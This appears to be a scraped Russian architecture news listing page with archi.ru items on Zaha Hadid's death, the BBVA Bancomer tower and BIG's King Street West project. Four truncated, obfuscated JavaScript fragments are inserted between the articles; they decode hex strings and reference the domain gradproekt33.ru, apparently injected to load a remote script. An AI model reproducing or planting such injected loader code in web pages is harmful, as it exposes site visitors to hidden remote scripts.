Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes

Культурный центр Ле-Аг © Périphériques / Marin+Trottin Architectes открыть большое изображение

Источник: archi.ru

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "gradproekt33.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

 
03.04.2016 Скончалась Заха Хадид

Заха Хадид, один из самых известных архитекторов мира, скончалась в возрасте 65 лет.

 

Заха Хадид. Фото: Brigitte Lacombe
Заха Хадид. Фото: Brigitte Lacombe открыть большое изображение


Заха Хадид скончалась от сердечного приступа сегодня утром в больнице в Майами, куда ее госпитализировали в начале этой недели для лечения бронхита. Хадид была одним из самых известных и заслуженных архитекторов наших дней, помимо прочего, став первой женщиной – лауреатом Золотой медали RIBA и Притцкеровской премии.

Хадид родилась в Багдаде в 1950 в семье промышленника, одного из основателей Национальной Демократической партии Ирака, представителя ориентированной на Запад крупной буржуазии. Уже в детстве она решила, что хочет стать архитектором. В 1972, после окончания математического факультета Американского Университета в Бейруте, Хадид поступила в архитектурную школу Архитектурной Ассоциации в Лондоне. Там ее преподавателями были Рем Колхас и Элиа Зенгелис.

Сильное влияние на нее как архитектора оказал русский архитектурный авангард 1920-х годов и творчество Казимира Малевича, но ее творческий язык всегда оставался ярко оригинальным. Колхас назвал ее «планетой на своей собственной орбите». Зенгелис считал ее самым талантливым человеком, который когда-либо у него учился. Но, по его воспоминаниям, ей требовалась помощь при разработке второстепенных деталей – особенно с лестницами, которые в ее студенческих проектах всегда упирались в потолок.

В 1977 она проработала полгода в мастерской Рема Колхаса ОМА, в 1979 основала в Лондоне собственное бюро Zaha Hadid Architects. Ее проект клуба «Пик» (1983) на холме над Гонконгом, победивший в крупном международном конкурсе, привлек к Хадид внимание общественности, но остался нереализованным, так как заказчик обанкротился.

В 1994 Хадид получила широкую известность в Великобритании, выиграв конкурс на проект оперного театра в Кардиффе, но застройщик – под влиянием общественного мнения – после полутора лет конфликтов отказался от проекта, испугавшись оригинальности архитектурного решения.

Пожарная часть на кампусе Vitra в Вайле-на-Рейне. 1993 © Christian Richters
Пожарная часть на кампусе Vitra в Вайле-на-Рейне. 1993 © Christian Richters открыть большое изображение

Первым реализованным проектом Хадид стала пожарная часть компании Vitra в Вайле-на Рейне (1991-1993).

Центр современного искусства Розенталя в Цинциннати. 2003 © Roland Halbe
Центр современного искусства Розенталя в Цинциннати. 2003 © Roland Halbe открыть большое изображение


Ситуация кардинально изменилась в 1999, когда началось строительство Центра современного искусства Розенталя в Цинциннати, США (открылся в 2003) – с этого момента Хадид стали приглашать для работы в разных странах мира, ее бюро стало одним из ведущих международных архитектурных фирм.

Живопись и рисунки Захи Хадид многократно экспонировались во многих странах; первой большой выставкой была ретроспектива в АА в 1983. Также крупные выставки прошли в Галерее GA в Токио (1985), Музее современного искусства (МoМА) в Нью-Йорке (1988) в составе группы архитекторов-деконструктивистов, в Гарвардском университете (1994) и даже зале ожидания Центрального вокзала в Нью-Йорке (1995), а также в венском MAK (2003) и нью-йоркском Музее Гуггенхайма (2006). Работы Хадид входят во многие музейные собрания, в частности – МoМА и Немецкого Музея архитектуры во Франкфурте-на-Майне (DAM).

Заха Хадид имела звания командора французского Ордена искусств и литературы, дамы-командора Ордена Британской империи, была лауреатом японской Praemium Imperiale.

MAXXI – Национальный музей искусств XXI века в Риме. 2009 © Iwan Baan
MAXXI – Национальный музей искусств XXI века в Риме. 2009 © Iwan Baan открыть большое изображение
MAXXI – Национальный музей искусств XXI века в Риме. 2009 © Iwan Baan
MAXXI – Национальный музей искусств XXI века в Риме. 2009 © Iwan Baan открыть большое изображение
Олимпийский центр водных видов спорта в Лондоне. 2011 © Luke Hayes
Олимпийский центр водных видов спорта в Лондоне. 2011 © Luke Hayes открыть большое изображение
Оперный театр в Гуанчжоу. 2011 © Virgile Simon Bertrand
Оперный театр в Гуанчжоу. 2011 © Virgile Simon Bertrand открыть большое изображение
Комплекс Pierresvives в Монпелье. 2012 © Iwan Baan
Комплекс Pierresvives в Монпелье. 2012 © Iwan Baan открыть большое изображение
Комплекс Galaxy SOHO в Пекине. 2012 © Hufton+Crow
Комплекс Galaxy SOHO в Пекине. 2012 © Hufton+Crow открыть большое изображение
Культурный центр Гейдара Алиева в Баку. 2013 © Iwan Baan
Культурный центр Гейдара Алиева в Баку. 2013 © Iwan Baan открыть большое изображение
Горный Музей Месснера – Corones в Южном Тироле. 2015 © Inexhibit
Горный Музей Месснера – Corones в Южном Тироле. 2015 © Inexhibit открыть большое изображение

Источник: archi.ru

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "gradproekt33.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

 
30.03.2016 Офисы в «небесных садах»

В Мехико построен 50-этажный небоскреб по проекту британского архитектора Ричарда Роджерса и местного бюро Legorreta + Legorreta. Там расположится штаб-квартира банка BBVA Bancomer.

 

Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers открыть большое изображение

По задумке авторов, в планировке здания высотой высотой 235 метров и общей площадью 189 тыс. кв. м переосмыслен традиционный подход к организации офисного пространства, площадь которого здесь составляет 78,8 тыс. кв. м. Достигается это за счет неординарного решения: на каждом девятом ярусе башни расположены открытые сады, откуда можно полюбоваться панорамными видами Мехико. Сады занимают пространство трех обычных этажей и объединяют прилегающие офисные уровни в «вертикальную деревню», суть которой в том, чтобы помогать сотрудникам устанавливать контакты друг с другом и объединять их в сообщество. Максимально свободные планы офисов также способствуют созданию комфортной рабочей атмосферы для всех 4 500 работников банка.

Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers открыть большое изображение

На фасад башни вынесен ее каркас, образующий своего рода узор из треугольников. Ему вторит ромбовидный рисунок из перфорированных алюминиевых панелей, оберегающих интерьер от перегрева. Своим видом фасад напоминает традиционные мексиканские оконные решетки. Некоторые ряды «ромбов» оставлены пустыми, чтобы в здание попадало нужно количество естественного света, также открыто по одной стороне у каждого из «небесных садов».

Штаб-квартира BBVA Bancomer © Dolores Robles Martinez Gomez / LegoRogers
Штаб-квартира BBVA Bancomer © Dolores Robles Martinez Gomez / LegoRogers открыть большое изображение

Поскольку Мехико расположен в сейсмоактивной зоне, большое внимание при проектировании было уделено защите высотки от землетрясений. Детали каркаса соединены подвижными, «деформируемыми» узлами: в результате, небоскреб при подземных толчках сможет раскачиваться на полтора метра в каждую сторону, что значительно снизит опасность обрушения. Кроме того, фундамент башни укреплен сваями (140 см в диаметре), которые уходят на 50 метров в глубину, а толщина стен в грунте достигает 100 см.

Штаб-квартира BBVA Bancomer © Dolores Robles Martinez Gomez / LegoRogers
Штаб-квартира BBVA Bancomer © Dolores Robles Martinez Gomez / LegoRogers открыть большое изображение

Наружу башни выведены стеклянные переговорные комнаты, из которых открывается вид на расположенный у ее подножья парк Чапультепек. Кроме того, панорамы Мехико видны из прозрачных кабин лифтов.

Штаб-квартира BBVA Bancomer © Dolores Robles Martinez Gomez / LegoRogers
Штаб-квартира BBVA Bancomer © Dolores Robles Martinez Gomez / LegoRogers открыть большое изображение

Основной вестибюль, Sky Lobby, с прилегающими аудиторией на 233 человек и столовой на 900 сотрудников, помещен над многоярусным, частью подземным, частью надземным паркингом на 2813 автомобилей и 234 велосипедов. На крыше здания устроена вертолетная площадка диаметром 29 м.

Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers открыть большое изображение

Штаб-квартире BBVA Bancomer присвоен золотой сертификат энергоэффективности LEED. Помимо обустроенных в здании садов, этому поспособствовали различные эко-технологии, например, система сбора и утилизации дождевой воды, пассивная вентиляция и освещение светодиодными лампочками.

Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © Rogers Stirk Harbour + Partners
Штаб-квартира BBVA Bancomer © Rogers Stirk Harbour + Partners открыть большое изображение
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © Dolores Robles Martinez Gomez / LegoRogers
Штаб-квартира BBVA Bancomer © Dolores Robles Martinez Gomez / LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers
Штаб-квартира BBVA Bancomer © Lourdes Legorreta / LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © Dolores Robles Martinez Gomez / LegoRogers
Штаб-квартира BBVA Bancomer © Dolores Robles Martinez Gomez / LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer. 1-й этаж © LegoRogers
Штаб-квартира BBVA Bancomer. 1-й этаж © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer. План уровня вестибюля Sky Lobby © LegoRogers
Штаб-квартира BBVA Bancomer. План уровня вестибюля Sky Lobby © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer. Типовой офисный этаж с садом © LegoRogers
Штаб-квартира BBVA Bancomer. Типовой офисный этаж с садом © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer. Типовой офисный этаж © LegoRogers
Штаб-квартира BBVA Bancomer. Типовой офисный этаж © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение
Штаб-квартира BBVA Bancomer © LegoRogers
Штаб-квартира BBVA Bancomer © LegoRogers открыть большое изображение

Источник: archi.ru

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "gradproekt33.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

 
27.03.2016 Королевский муравейник

На проект жилого комплекса в центре Торонто Бьярке Ингельса и его бюро BIG вдохновила работа Моше Сафди для Монреаля.

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Улица Кинг-стрит-вест, давшая название проекту, соединяет высотный деловой район Торонто и жилые кварталы средней и малой этажности. Архитекторы бюро BIG предложили для этого места стройную и предельно логичную схему организации жилого комплекса, взяв за основу собранный из кубов-ячеек «Хабитат 67» Моше Сафди. Получился огромный муравейник на 500 квартир, как и положено – сложный, прагматичный и лишенный хаоса.

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Подчеркивая регулярную планировку кварталов, архитекторы придали плану будущего здания классическую форму правильного прямоугольника с открытым внутренним двором. Причем половина двора будет засажена деревьями, а половина превратится в площадь. Но затем сами же и нарушили строгую геометрию, составив план, как детский конструктор, из отдельных ячеек, каждая из которых повернута под углом в 45° относительно красных линий улиц – так в квартиры должно попадать больше солнца. Наподобие трехмерных графиков-гистограмм из «пикселей» и вырастают жилые ячейки. Причем вырастают волнообразно, на разную высоту. Эти волны в прямом смысле накроют (но при этом визуально не раздавят) три исторических здания, находящиеся на участке, а образующиеся между старым и новым проемы обеспечат доступ во внутренний двор. Таким образом сохраняются привычные маршруты горожан между тремя парками, пролегающие как раз через участок строительства.

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Общая площадь комплекса составит 67 355 м2. Нижнюю его часть, ровно на высоту исторических зданий, займут небольшие офисы и магазины, а в верхней, разноуровневой части расположатся квартиры. Уступчатый рельеф крыши (или все же крыш?) во-первых, не помещает солнечному свету проникать во внутренний двор и почти во все квартиры. Во-вторых, образует террасы, которые планируется озеленить и даже засадить деревьями. В результате, для жителей комплекса создается очень сложный, разнообразный ландшафт. С одной стороны, он вполне органичен для мегаполиса, но с другой – поделен на небольшие, более-менее соразмерные человеку модули. Так что, сохраняя характерную для брутализма сложность композиционного решения здания Сафди, Ингельс лишает свою будущую постройку тяжеловесности, внося отчетливую гуманистическую струю.

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Жилой комплекс King Street West © BIG – Bjarke Ingels Group

Жилой комплекс King Street West © BIG – Bjarke Ingels Group открыть большое изображение

Источник: archi.ru

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "gradproekt33.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

 
<< Первая < Предыдущая 21 22 23 24 25 26 27 28 29 30 Следующая > Последняя >>

Страница 28 из 92